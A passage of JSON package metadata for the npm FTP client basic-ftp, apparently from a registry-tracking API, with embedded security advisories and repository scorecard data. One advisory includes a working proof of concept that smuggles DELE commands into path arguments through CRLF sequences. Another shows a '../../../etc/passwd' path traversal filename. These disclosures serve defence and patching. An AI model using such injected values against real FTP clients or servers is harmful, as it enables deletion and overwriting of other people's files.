path.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-10T20:18:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-6v7q-wjvx-w8wg","https://github.com/patrickjuchli/basic-ftp/commit/20327d35126e57e5fdbaae79a4b65222fbadc53c","https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","https://github.com/advisories/GHSA-6v7q-wjvx-w8wg"],"source_kind":"github","identifiers":["GHSA-6v7q-wjvx-w8wg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-10T21:00:11.062Z","updated_at":"2026-08-06T13:03:09.773Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djdxLXdqdngtdzh3Z84ABVGT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02djdxLXdqdngtdzh3Z84ABVGT","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.2.2","vulnerable_version_range":"\u003c= 5.2.1"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djdxLXdqdngtdzh3Z84ABVGT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jaHFjLThwOXEtcHE2cc4ABU9N","url":"https://github.com/advisories/GHSA-chqc-8p9q-pq6q","title":"basic-ftp has FTP Command Injection via CRLF","description":"## Summary\n\n`basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\\r\\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library's `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\\r\\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.\n\n## Affected product\n\n| Product | Affected versions | Fixed version |\n| --- | --- | --- |\n| basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 |\n\n## Vulnerability details\n\n- CWE: `CWE-93` - Improper Neutralization of CRLF Sequences ('CRLF Injection')\n- CVSS 3.1: `8.6` (`High`)\n- Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L`\n- Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()`\n\nThe vulnerability exists because of two interacting code patterns:\n\n**1. Inadequate path sanitization in `protectWhitespace()` (line 677):**\n\n```javascript\nasync protectWhitespace(path) {\n    if (!path.startsWith(\" \")) {\n        return path;  // No sanitization of \\r\\n characters\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\nThis function only handles leading whitespace. It does not strip or reject `\\r` (0x0D) or `\\n` (0x0A) characters anywhere in the path string.\n\n**2. Direct socket write in `send()` (FtpContext.js line 177):**\n\n```javascript\nsend(command) {\n    this._socket.write(command + \"\\r\\n\", this.encoding);\n}\n```\n\nThe `send()` method appends `\\r\\n` to the command and writes directly to the TCP socket. If the command string already contains `\\r\\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.\n\n**Affected methods** (all call `protectWhitespace()` → `send()`):\n- `cd(path)` → `CWD ${path}`\n- `remove(path)` → `DELE ${path}`\n- `list(path)` → `LIST ${path}`\n- `downloadTo(localPath, remotePath)` → `RETR ${remotePath}`\n- `uploadFrom(localPath, remotePath)` → `STOR ${remotePath}`\n- `rename(srcPath, destPath)` → `RNFR ${srcPath}` / `RNTO ${destPath}`\n- `removeDir(path)` → `RMD ${path}`\n\n## Technical impact\n\nAn attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:\n\n1. **Arbitrary file deletion**: Inject `DELE /critical-file` to delete files on the FTP server\n2. **Directory manipulation**: Inject `MKD` or `RMD` commands to create/remove directories\n3. **File exfiltration**: Inject `RETR` commands to trigger downloads of unintended files\n4. **Server command execution**: On FTP servers supporting `SITE EXEC`, inject system commands\n5. **Session hijacking**: Inject `USER`/`PASS` commands to re-authenticate as a different user\n6. **Service disruption**: Inject `QUIT` to terminate the FTP session unexpectedly\n\nThe attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server.\n\n## Proof of concept\n\n**Prerequisites:**\n\n```bash\nmkdir basic-ftp-poc \u0026\u0026 cd basic-ftp-poc\nnpm init -y\nnpm install basic-ftp@5.2.0\n```\n\n**Mock FTP server (ftp-server-mock.js):**\n\n```javascript\nconst net = require('net');\nconst server = net.createServer(conn =\u003e {\n  console.log('[+] Client connected');\n  conn.write('220 Mock FTP\\r\\n');\n  let buffer = '';\n  conn.on('data', data =\u003e {\n    buffer += data.toString();\n    const lines = buffer.split('\\r\\n');\n    buffer = lines.pop();\n    for (const line of lines) {\n      if (!line) continue;\n      console.log('[CMD] ' + JSON.stringify(line));\n      if (line.startsWith('USER')) conn.write('331 OK\\r\\n');\n      else if (line.startsWith('PASS')) conn.write('230 Logged in\\r\\n');\n      else if (line.startsWith('FEAT')) conn.write('211 End\\r\\n');\n      else if (line.startsWith('TYPE')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('PWD'))  conn.write('257 \"/\"\\r\\n');\n      else if (line.startsWith('OPTS')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('STRU')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('CWD'))  conn.write('250 OK\\r\\n');\n      else if (line.startsWith('DELE')) conn.write('250 Deleted\\r\\n');\n      else if (line.startsWith('QUIT')) { conn.write('221 Bye\\r\\n'); conn.end(); }\n      else conn.write('200 OK\\r\\n');\n    }\n  });\n});\nserver.listen(2121, () =\u003e console.log('[*] Mock FTP on port 2121'));\n```\n\n**Exploit (poc.js):**\n\n```javascript\nconst ftp = require('basic-ftp');\n\nasync function exploit() {\n  const client = new ftp.Client();\n  client.ftp.verbose = true;\n  try {\n    await client.access({\n      host: '127.0.0.1',\n      port: 2121,\n      user: 'anonymous',\n      password: 'anonymous'\n    });\n\n    // Attack 1: Inject DELE command via cd()\n    // Intended: CWD harmless.txt\n    // Actual:   CWD harmless.txt\\r\\nDELE /important-file.txt\n    const maliciousPath = \"harmless.txt\\r\\nDELE /important-file.txt\";\n    console.log('\\n=== Attack 1: DELE injection via cd() ===');\n    try { await client.cd(maliciousPath); } catch(e) {}\n\n    // Attack 2: Double DELE via remove()\n    const maliciousPath2 = \"decoy.txt\\r\\nDELE /secret-data.txt\";\n    console.log('\\n=== Attack 2: DELE injection via remove() ===');\n    try { await client.remove(maliciousPath2); } catch(e) {}\n\n  } finally {\n    client.close();\n  }\n}\nexploit();\n```\n\n**Running the PoC:**\n\n```bash\n# Terminal 1: Start mock FTP server\nnode ftp-server-mock.js\n\n# Terminal 2: Run exploit\nnode poc.js\n```\n\n**Expected output on mock server:**\n\n```\n\"OPTS UTF8 ON\"\n\"USER anonymous\"\n\"PASS anonymous\"\n\"FEAT\"\n\"TYPE I\"\n\"STRU F\"\n\"OPTS UTF8 ON\"\n\"CWD harmless.txt\"\n\"DELE /important-file.txt\"   \u003c-- injected from cd()\n\"DELE decoy.txt\"\n\"DELE /secret-data.txt\"      \u003c-- injected from remove()\n\"QUIT\"\n```\n\nThis command trace was reproduced against the published `basic-ftp@5.2.0`\npackage on Linux with a local mock FTP server. The injected `DELE` commands are\nreceived as distinct FTP commands, confirming that CRLF inside path parameters\nis not neutralized before socket write.\n\n## Mitigation\n\n**Immediate workaround**: Sanitize all path inputs before passing them to basic-ftp:\n\n```javascript\nfunction sanitizeFtpPath(path) {\n  if (/[\\r\\n]/.test(path)) {\n    throw new Error('Invalid FTP path: contains control characters');\n  }\n  return path;\n}\n\n// Usage\nawait client.cd(sanitizeFtpPath(userInput));\n```\n\n**Recommended fix for basic-ftp**: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\\r` and `\\n` characters from all path inputs:\n\n```javascript\nasync protectWhitespace(path) {\n    // Reject CRLF injection attempts\n    if (/[\\r\\n\\0]/.test(path)) {\n        throw new Error('Invalid path: contains control characters');\n    }\n    if (!path.startsWith(\" \")) {\n        return path;\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\n## References\n\n- [npm package: basic-ftp](https://www.npmjs.com/package/basic-ftp)\n- [GitHub repository](https://github.com/patrickjuchli/basic-ftp)\n- [Vulnerable source: Client.js protectWhitespace()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/Client.ts)\n- [Vulnerable source: FtpContext.js send()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/FtpContext.ts)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-08T20:02:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q","https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b","https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","https://nvd.nist.gov/vuln/detail/CVE-2026-39983","https://github.com/advisories/GHSA-chqc-8p9q-pq6q"],"source_kind":"github","identifiers":["GHSA-chqc-8p9q-pq6q","CVE-2026-39983"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T21:00:09.780Z","updated_at":"2026-08-06T13:03:12.780Z","epss_percentage":0.02185,"epss_percentile":0.80517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jaHFjLThwOXEtcHE2cc4ABU9N","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jaHFjLThwOXEtcHE2cc4ABU9N","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.2.1","vulnerable_version_range":"= 5.2.0"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jaHFjLThwOXEtcHE2cc4ABU9N/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cnE0LTY2NHctOXgyY84ABS2H","url":"https://github.com/advisories/GHSA-5rq4-664w-9x2c","title":"Basic FTP has Path Traversal Vulnerability in its downloadToDir() method","description":"The `basic-ftp` library contains a path traversal vulnerability in the `downloadToDir()` method. A malicious FTP server can send directory listings with filenames containing path traversal sequences (`../`) that cause files to be written outside the intended download directory.\n\n\n## Source-to-Sink Flow\n\n```\n1. SOURCE: FTP server sends LIST response\n└─\u003e \"-rw-r--r-- 1 user group 1024 Jan 20 12:00 ../../../etc/passwd\"\n\n2. PARSER: parseListUnix.ts:100 extracts filename\n└─\u003e file.name = \"../../../etc/passwd\"\n\n3. VALIDATION: parseListUnix.ts:101 checks\n└─\u003e if (name === \".\" || name === \"..\") ❌ (only filters exact matches)\n└─\u003e \"../../../etc/passwd\" !== \".\" \u0026\u0026 !== \"..\" ✅ PASSES\n\n4. SINK: Client.ts:707 uses filename directly\n└─\u003e const localPath = join(localDirPath, file.name)\n└─\u003e join(\"/safe/download\", \"../../../etc/passwd\")\n└─\u003e Result: \"/safe/download/../../../etc/passwd\" → resolves to \"/etc/passwd\"\n\n5. FILE WRITE: Client.ts:512 opens file\n└─\u003e fsOpen(localPath, \"w\") → writes to /etc/passwd (outside intended directory)\n```\n\n## Vulnerable Code\n\n**File**: `src/Client.ts:707`\n\n```typescript\nprotected async _downloadFromWorkingDir(localDirPath: string): Promise\u003cvoid\u003e {\nawait ensureLocalDirectory(localDirPath)\nfor (const file of await this.list()) {\nconst localPath = join(localDirPath, file.name) // ⚠️ VULNERABLE\n// file.name comes from untrusted FTP server, no sanitization\nawait this.downloadTo(localPath, file.name)\n}\n}\n```\n\n**Root Cause**:\n- Parser validation (`parseListUnix.ts:101`) only filters exact `.` or `..` entries\n- No sanitization of `../` sequences in filenames\n- `path.join()` doesn't prevent traversal, `fs.open()` resolves paths\n\n\n# Impact\n\nA malicious FTP server can:\n- Write files to arbitrary locations on the client filesystem\n- Overwrite critical system files (if user has write access)\n- Potentially achieve remote code execution\n\n## Affected Versions\n\n- **Tested**: v5.1.0\n- **Likely**: All versions (code pattern exists since initial implementation)\n\n## Mitigation\n\n**Workaround**: Do not use `downloadToDir()` with untrusted FTP servers.\n\n**Fix**: Sanitize filenames before use:\n\n```typescript\nimport { basename } from 'path'\n\n// In _downloadFromWorkingDir:\nconst sanitizedName = basename(file.name) // Strip path components\nconst localPath = join(localDirPath, sanitizedName)\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-25T22:34:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5rq4-664w-9x2c","https://nvd.nist.gov/vuln/detail/CVE-2026-27699","https://github.com/patrickjuchli/basic-ftp/commit/2a2a0e6514357b9eda07c2f8afbd3f04727a7cd9","https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","https://github.com/advisories/GHSA-5rq4-664w-9x2c"],"source_kind":"github","identifiers":["GHSA-5rq4-664w-9x2c","CVE-2026-27699"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-25T23:00:07.186Z","updated_at":"2026-08-21T12:03:30.796Z","epss_percentage":0.00528,"epss_percentile":0.42547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cnE0LTY2NHctOXgyY84ABS2H","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cnE0LTY2NHctOXgyY84ABS2H","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.2.0","vulnerable_version_range":"\u003c 5.2.0"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cnE0LTY2NHctOXgyY84ABS2H/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/basic-ftp","docker_dependents_count":819,"docker_downloads_count":2145156376,"usage_url":"https://repos.ecosyste.ms/usage/npm/basic-ftp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/basic-ftp/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-23T11:32:28.548Z","issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp/codemeta","maintainers":[{"uuid":"patrickjuchli","login":"patrickjuchli","name":null,"email":"patrickjuchli@gmail.com","url":null,"packages_count":1,"html_url":"https://www.npmjs.com/~patrickjuchli","role":null,"created_at":"2022-11-11T13:50:28.626Z","updated_at":"2022-11-11T13:50:28.626Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/patrickjuchli/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5777787,"maintainers_count":1236486,"namespaces_count":421466,"keywords_count":881826,"github":"npm","metadata":{"funded_packages_count":189888,"rate_limit":2},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-08-24T05:03:24.460Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1864149,"name":"implicit-basic-ftp","ecosystem":"npm","description":"FTP client for Node.js, supports explicit FTPS over TLS, IPv6, Async/Await, and Typescript.","homepage":"https://github.com/patrickjuchli/basic-ftp#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":["ftp","ftps","promise","async","await","tls","ipv6","typescript"],"namespace":null,"versions_count":1,"first_release_published_at":"2020-02-06T15:10:11.276Z","latest_release_published_at":"2020-02-06T15:10:11.276Z","latest_release_number":"4.5.2","last_synced_at":"2026-08-23T11:55:59.107Z","created_at":"2022-04-09T17:35:54.066Z","updated_at":"2026-08-23T21:05:07.305Z","registry_url":"https://www.npmjs.com/package/implicit-basic-ftp","install_command":"npm install implicit-basic-ftp","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"4.5.2"},"contentPolicy":null},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patrickjuchli","name":"Patrick 